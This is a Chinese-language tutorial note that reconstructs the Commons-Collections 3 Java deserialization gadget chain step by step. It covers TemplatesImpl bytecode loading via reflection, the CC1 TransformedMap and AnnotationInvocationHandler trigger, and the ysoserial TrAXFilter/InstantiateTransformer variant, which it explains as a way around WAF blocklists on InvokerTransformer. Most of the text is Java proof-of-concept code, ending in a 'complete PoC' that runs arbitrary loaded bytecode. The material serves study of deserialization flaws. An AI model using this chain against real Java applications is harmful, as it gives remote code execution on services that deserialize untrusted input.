Commons-Collections3反序列化

java cc3链
cc3用的是动态加载字节码的形式进行的rce可以参考自己记得动态加载字节码的笔记来了解。

该链主要是利用了TemplatesImpl这个类进行字节码加载。通过笔记我们了解到java加载.class的核心代码就是defineclass方法,而通过调试发现TemplatesImpl这个类中定义了一个内部类重写了defineclass方法并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。

但是我们需要找到一个该类一个public类型来进行调用该方法

我们反向跟踪在defineTransletClasses中调用了该方法,需要_bytecodes不为空,其实这个属性就是我们要传入的字节码但是还不能调用需要继续跟

找到了getTransletInstance方法并且其属性_name不能为空 _class需要为空才可以调用,但是还是不能在外部调用需要继续跟

最终找到了newTransformer方法是public类型的,所以我们可以通过实例化TemplatesImpl对象调用newTransformer方法来触发defineclass加载字节码。

接下来我们需要看一下TemplatesImpl构造方法

发现并没用进行任何赋值所以我们需要自己手动进行反射赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();


// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
templates.newTransformer();

运行发现空指针错误,通过调试发现

_tfactory为空所以我们需要给其传入值,

通过查看发现其是transient类型是不可序列化的,所以我们通过产看readObject中看看是给其赋值的什么就给他赋值什么就可以

所以重新构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bbyte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();

// 获取 class 对象
Class clazz = templates.getClass();


// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
templates.newTransformer();

但是运行之后发现还是报错

原因是在加载字节码之后有一个方法查看字节码的父类是否是

所以我们需要让我们的恶意类继承该类之后就可以运行了。

然后我们和之前的cc1链前面结合一下就可以成为一个链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
HashMap<Object,Object> map=new HashMap<>();
map.put("className","aass"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, chainedTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(FaultAction.class, transformedMap);
//serialize(o);
unserialize("ser.bin");

但是我们通过查看ysoserial作者发现其构造的链跟我们不一样,他没有用这个InvokerTransformer去触发,原因就是因为可能有些waf会对InvokerTransformer做了黑名单限制导致不能够使用了。

所以ysoserial作者发现了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。 这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤ InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步:

但是呢由于该类是不可以被序列化的,所以我们只能通过对其反射获取class对象对其进行赋值,这里作者ysoserial找到一个InstantiateTransformer类他实现了transformer Serializable接口,在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

所以这里我们可以通过调用InstantiateTransformer的transform方法来触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
byte[] shellcode = Files.readAllBytes(Paths.get("D:\\javaserilization\\cclian\\target\\classes\\org\\example\\test.class"));
TemplatesImpl templates = new TemplatesImpl();
// 获取 class 对象
Class clazz = templates.getClass();
// 下面是需要修改的一些变量
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "_name");
Field classField = clazz.getDeclaredField("_tfactory");
classField.setAccessible(true);
classField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{shellcode});

// 触发方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class [] {Templates.class},new Object [] {templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
/*InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);*/
HashMap<Object,Object> map=new HashMap<>();
map.put("className","aass"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, null, chainedTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(FaultAction.class, transformedMap);
//serialize(o);
unserialize("ser.bin");
}

参考:Java安全漫谈 - 14.为什么需要CommonsCollections3.pdf

https://blog.csdn.net/weixin_54648419/article/details/123376523

cc3调用链